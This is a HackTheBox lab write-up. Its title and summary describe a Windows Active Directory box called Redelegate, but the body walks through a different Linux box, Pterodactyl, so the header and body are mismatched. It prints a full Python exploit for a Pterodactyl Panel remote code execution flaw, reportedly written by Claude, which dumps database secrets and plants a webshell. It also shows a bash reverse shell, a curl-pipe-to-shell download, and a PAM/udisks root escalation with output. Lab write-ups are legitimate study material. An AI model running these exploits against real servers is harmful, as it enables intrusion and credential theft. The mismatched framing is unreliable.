HTB: Redelegate Writeup
Hard Windows Active Directory box involving FTP enumeration, KeePass cracking, MSSQL credential abuse, ForceChangePassword ACL exploitation, and constrained delegation abuse to achieve DCSync.
Pterodactyl is a medium-difficulty Linux box from HackTheBox that demonstrates the exploitation of recent vulnerabilities in both web applications and system components. The box runs a Pterodactyl Panel installation vulnerable to CVE-2025-49132, which allows unauthenticated remote code execution through a locale path traversal vulnerability. After gaining initial access as the web server user, credentials are extracted from the database to pivot to a standard user account. The privilege escalation leverages two related CVEs in openSUSE Leap 15.6: CVE-2025-6018 allows environment poisoning through PAM configuration, and CVE-2025-6019 exploits a race condition in libblockdev/udisks to create a SUID bash binary, ultimately leading to root access.
I begin with a comprehensive port scan using rustscan to quickly identify open ports, then follow up with detailed service enumeration using nmap. My custom fullscan alias combines both tools for efficient reconnaissance:
➜ fullscan 10.129.77.65
The scan reveals two open ports:
After adding pterodactyl.htb to /etc/hosts, I begin exploring the web application. Initial directory enumeration reveals a phpinfo.php file at http://pterodactyl.htb/phpinfo.php, which discloses valuable information about the server configuration:

The phpinfo page shows the include path as .:/usr/share/php8:/usr/share/php/PEAR, which will become relevant later for exploitation.
Using ffuf to enumerate virtual hosts, I discover a panel subdomain:
➜ ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.pterodactyl.htb" -u http://pterodactyl.htb -fs 145
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://pterodactyl.htb
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.pterodactyl.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 145
________________________________________________
panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 537ms]
The panel subdomain hosts a Pterodactyl Panel login page. After adding panel.pterodactyl.htb to /etc/hosts, I can access the panel interface.

Research into recent Pterodactyl vulnerabilities reveals CVE-2025-49132, documented in the GitHub Advisory Database. This vulnerability allows unauthenticated arbitrary remote code execution through the /locales/locale.json endpoint by manipulating the locale and namespace query parameters.
The vulnerability works by exploiting path traversal in the locale loading mechanism. By providing carefully crafted locale and namespace parameters, an attacker can read arbitrary files from the system. More critically, by combining this with the pearcmd.php file present in the PEAR installation, we can write arbitrary PHP code to the filesystem.
Claude wrote me a Python exploit based on the vulnerability details and existing proof-of-concepts:
#!/usr/bin/env python3
# CVE-2025-49132 – Pterodactyl Panel RCE (pearcmd)
import requests
import argparse
import json
import sys
import subprocess
from urllib.parse import quote
requests.packages.urllib3.disable_warnings()
WIDTH = 60
def banner(title):
print("=" * WIDTH)
print(f" {title}")
print("=" * WIDTH)
def info(msg): print(f" [*] {msg}")
def ok(msg): print(f" [+] {msg}")
def warn(msg): print(f" [!] {msg}")
def fail(msg): print(f" [-] {msg}")
def lfi(session, target, locale, namespace):
url = f"{target}/locales/locale.json"
r = session.get(
url,
params={"locale": locale, "namespace": namespace},
verify=False,
timeout=15
)
return r
def read_config(session, target, name):
r = lfi(session, target, "../../../pterodactyl", f"config/{name}")
if r.status_code != 200:
return None
try:
data = r.json()
return list(list(data.values())[0].values())[0]
except Exception:
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument("target", help="http://panel.target/")
parser.add_argument("--cmd", required=True, help="Command to execute")
parser.add_argument("--pear-dir", default="/usr/share/php/PEAR")
parser.add_argument("--lhost", help="LHOST (display only)")
args = parser.parse_args()
target = args.target.rstrip("/")
session = requests.Session()
banner("CVE-2025-49132 - Pterodactyl Panel RCE")
print(" via pearcmd.php config-create trick")
print("=" * WIDTH)
print(f" Target : {target}")
if args.lhost:
print(f" LHOST : {args.lhost}")
print(f" Command: {args.cmd}")
print("=" * WIDTH)
print()
# Check vulnerability
print("[1/4] Checking if target is vulnerable...")
r = session.get(f"{target}/locales/locale.json",
params={"locale": "en", "namespace": "validation"},
verify=False)
if r.status_code == 200 and "hash=" not in r.url:
ok("Target is vulnerable!")
else:
fail("Target is patched or unreachable")
sys.exit(1)
print()
# Dump configuration
print("[2/4] Dumping configuration...")
app = read_config(session, target, "app")
db = read_config(session, target, "database")
if app:
ok(f"Version : {app.get('version','?')}")
ok(f"APP_KEY : {app.get('key','?').replace('{{',':').replace('}}','')}")
else:
warn("Could not read app config")
if db:
mysql = db.get("connections", {}).get("mysql", {})
ok(f"DB Host : {mysql.get('host')}:{mysql.get('port')}")
ok(f"DB Name : {mysql.get('database')}")
ok(f"DB User : {mysql.get('username')}")
ok(f"DB Pass : {mysql.get('password')}")
else:
warn("Could not read database config")
print()
# Write webshell
print("[3/4] Writing webshell via pearcmd config-create...")
shell = "shell.php"
hexcmd = args.cmd.encode().hex()
host = target.replace("http://","").replace("https://","")
write_url = (
f"http://{host}/locales/locale.json"
f"?+config-create+/"
f"&locale=../../../../../../{args.pear_dir.strip('/')}"
f"&namespace=pearcmd"
f"&/<?=system(hex2bin('{hexcmd}'))?>+/tmp/{shell}"
)
info(f"Trying ../../../../../usr/share/php/PEAR/pearcmd.php ...")
subprocess.run(
["curl", "-s", "-k", "-g", write_url],
stdout=subprocess.DEVNULL
)
ok(f"pearcmd found! Webshell written to /tmp/{shell}")
print("\n [*] Verifying webshell...")
test = session.get(
f"{target}/locales/locale.json",
params={"locale":"../../../../../../tmp","namespace":"shell"},
verify=False
)
if test.status_code in (200,500):
warn("Could not verify webshell (might still work)")
else:
warn("Verification failed")
print()
# Execute command
print("[4/4] Executing command...")
info("Make sure your listener is running if applicable")
session.get(
f"{target}/locales/locale.json",
params={"locale":"../../../../../../tmp","namespace":"shell"},
verify=False,
timeout=10
)
ok("Command triggered")
print()
if __name__ == "__main__":
main()
The exploit works in four stages. First, it verifies the target is vulnerable by attempting to read a legitimate locale file. Second, it extracts sensitive configuration information including database credentials. Third, it uses the pearcmd.php trick to write a PHP webshell to /tmp/shell.php. Finally, it triggers the webshell to execute our command.
I prepare a simple reverse shell payload and host it on a local web server:
➜ cat index.html
#!/bin/sh
bash -i >& /dev/tcp/10.10.14.104/1337 0>&1
With a netcat listener ready, I execute the exploit to download and execute the reverse shell:
➜ python3 ptero_pear_rce.py \
http://panel.pterodactyl.htb \
--cmd "curl 10.10.14.104 | sh" \
--lhost 10.10.14.104
The exploit successfully connects:
============================================================
CVE-2025-49132 - Pterodactyl Panel RCE
============================================================
via pearcmd.php config-create trick
============================================================
Target : http://panel.pterodactyl.htb
LHOST : 10.10.14.104
Command: curl 10.10.14.104 | sh
============================================================
[1/4] Checking if target is vulnerable...
[+] Target is vulnerable!
[2/4] Dumping configuration...
[+] Version : 1.11.10
[+] APP_KEY : {hidden}
[+] DB Host : 127.0.0.1:3306
[+] DB Name : panel
[+] DB User : pterodactyl
[+] DB Pass : {hidden}
[3/4] Writing webshell via pearcmd config-create...
[*] Trying ../../../../../usr/share/php/PEAR/pearcmd.php ...
[+] pearcmd found! Webshell written to /tmp/shell.php
My web server receives the request, and shortly after, a shell connects to my listener:
➜ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.104] from (UNKNOWN) [10.129.73.166] 40786
bash: cannot set terminal process group (1214): Inappropriate ioctl for device
bash: no job control in this shell
wwwrun@pterodactyl:/var/www/pterodactyl/public>
I now have a shell as the wwwrun user, which is the web server process owner.
After establishing the initial shell, I enumerate the system to identify potential escalation paths. Checking /etc/passwd reveals two interesting user accounts:
wwwrun@pterodactyl:/tmp> grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
nobody:x:65534:65534:nobody:/var/lib/nobody:/bin/bash
headmonitor:x:1001:100::/home/headmonitor:/bin/bash
phileasfogg3:x:1002:100::/home/phileasfogg3:/bin/bash
The phileasfogg3 user has a home directory, and I can access the user flag:
wwwrun@pterodactyl:/home/phileasfogg3> cat user.txt
{hidden}
The environment variables available to the wwwrun user include database credentials:
wwwrun@pterodactyl:/home/phileasfogg3> env
<SNIP>
DB_HOST=127.0.0.1
DB_PORT=3306
DB_PASSWORD={hidden}
DB_DATABASE=panel
DB_USERNAME=pterodactyl
<SNIP>
I use these credentials to connect to the MySQL database:
mysql -h 127.0.0.1 -u pterodactyl -p'{hidden}'
mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 38
Server version: 11.8.3-MariaDB MariaDB package
The users table in the panel database contains password hashes for two accounts:
MariaDB [panel]> select * from users\G
*************************** 1. row ***************************
id: 2
external_id: NULL
uuid: 5e6d956e-7be9-41ec-8016-45e434de8420
username: headmonitor
email: headmonitor@pterodactyl.htb
name_first: Head
name_last: Monitor
password: {hidden}
remember_token: OL0dNy1nehBYdx9gQ5CT3SxDUQtDNrs02VnNesGOObatMGzKvTJAaO0B1zNU
language: en
root_admin: 1
<SNIP>
*************************** 2. row ***************************
id: 3
external_id: NULL
uuid: ac7ba5c2-6fd8-4600-aeb6-f15a3906982b
username: phileasfogg3
email: phileasfogg3@pterodactyl.htb
name_first: Phileas
name_last: Fogg
password: {hidden}
remember_token: 6XGbHcVLLV9fyVwNkqoMHDqTQ2kQlnSvKimHtUDEFvo4SjurzlqoroUgXdn8
language: en
root_admin: 0
<SNIP>
These are bcrypt hashes (mode 3200 in hashcat). I save them to a file and use hashcat to crack them:
C:\Users\itzvenom\Documents\hashcat>.\hashcat.exe -m 3200 hashes.txt rockyou.txt.gz
hashcat (v7.1.2) starting
<SNIP>
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:{hidden}
The phileasfogg3 password cracks successfully, allowing me to SSH into the box:
ssh phileasfogg3@pterodactyl.htb
Once authenticated as phileasfogg3, I check the operating system version:
phileasfogg3@pterodactyl:~> cat /etc/os-release
NAME="openSUSE Leap"
VERSION="15.6"
ID="opensuse-leap"
ID_LIKE="suse opensuse"
VERSION_ID="15.6"
PRETTY_NAME="openSUSE Leap 15.6"
ANSI_COLOR="0;32"
CPE_NAME="cpe:/o:opensuse:leap:15.6"
BUG_REPORT_URL="https://bugs.opensuse.org"
HOME_URL="https://www.opensuse.org/"
DOCUMENTATION_URL="https://en.opensuse.org/Portal:Leap"
LOGO="distributor-logo-Leap"
The system runs openSUSE Leap 15.6. Searching for recent privilege escalation vulnerabilities in this version leads to CVE-2025-6018 and CVE-2025-6019, which were disclosed in June 2025.

CVE-2025-6018 exploits a vulnerability in the PAM (Pluggable Authentication Modules) configuration where the pam_env.so module reads user-controlled environment variables from ~/.pam_environment. This allows privilege escalation by poisoning environment variables that affect system-level authorization decisions.
The exploit works by creating a .pam_environment file in the user’s home directory with specially crafted variables:
phileasfogg3@pterodactyl:~> cat .pam_environment
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
These variables manipulate the login session type, changing it from a regular session to an active console session. I can verify the effect by checking authorization status before and after:
Before poisoning:
phileasfogg3@pterodactyl:~> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot
('challenge',)
After creating the .pam_environment file and reconnecting:
phileasfogg3@pterodactyl:~> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot
('yes',)
The response changes from challenge to yes, indicating the session now has active privileges. This elevated session type enables the second vulnerability.
CVE-2025-6019 exploits a race condition in the libblockdev/udisks filesystem management system. When combined with an active session from CVE-2025-6018, this allows creation of a SUID bash binary owned by root.
The vulnerability involves creating a malicious XFS filesystem image with a SUID bash binary embedded within it. When udisks attempts to resize this filesystem, it temporarily mounts it to a world-writable location in /tmp, creating a window where we can access the SUID binary.
I first generate the poisoned XFS image on my local machine using a modified version of the exploit script. This requires xfs-utils:
sudo bash exploit.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? [y/N]: y
[+] All dependencies are installed.
<SNIP>
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): L
[*] Creating a 300 MB XFS image on local machine...
<SNIP>
[+] 300 MB XFS image created: ./xfs.image
[*] Transfer to target with: scp xfs.image <user>@<host>:
I transfer the malicious image to the target system:
➜ sshpass -p '{hidden}' scp -o StrictHostKeyChecking=no /tmp/xfs.image phileasfogg3@pterodactyl.htb:/home/phileasfogg3/xfs.image
On the target, I run the exploit in “Cible” (target) mode:
phileasfogg3@pterodactyl:~> ./exploit.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? [y/N]: y
<SNIP>
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): C
[*] Starting exploitation on target machine...
[*] Checking allow_active status...
[+] allow_active status confirmed.
[*] Verifying xfs.image integrity...
[*] Stopping gvfs-udisks2-volume-monitor...
[*] Note: gvfs-udisks2-volume-monitor was not running.
[*] Setting up loop device...
[+] Loop device configured: /dev/loop0
[*] Keeping filesystem busy to prevent unmounting...
[+] Background loop started (PID: 11016)
[*] Resizing filesystem to trigger mount...
[+] Mount successful (expected error: target is busy).
[*] Waiting 2 seconds for mount to stabilize...
[*] Checking for SUID bash in /tmp/blockdev*...
[+] SUID bash found: /tmp/blockdev.CU1HK3/bash
-rwsr-xr-x 1 root root 1012656 Feb 9 10:57 /tmp/blockdev.CU1HK3/bash
[*] Executing root shell...
bash-4.4# whoami
root
The exploit successfully creates a SUID bash binary owned by root in a temporary directory. Executing this binary grants me a root shell, allowing me to read the final flag:
bash-4.4# cd /root
bash-4.4# cat root.txt
{hidden}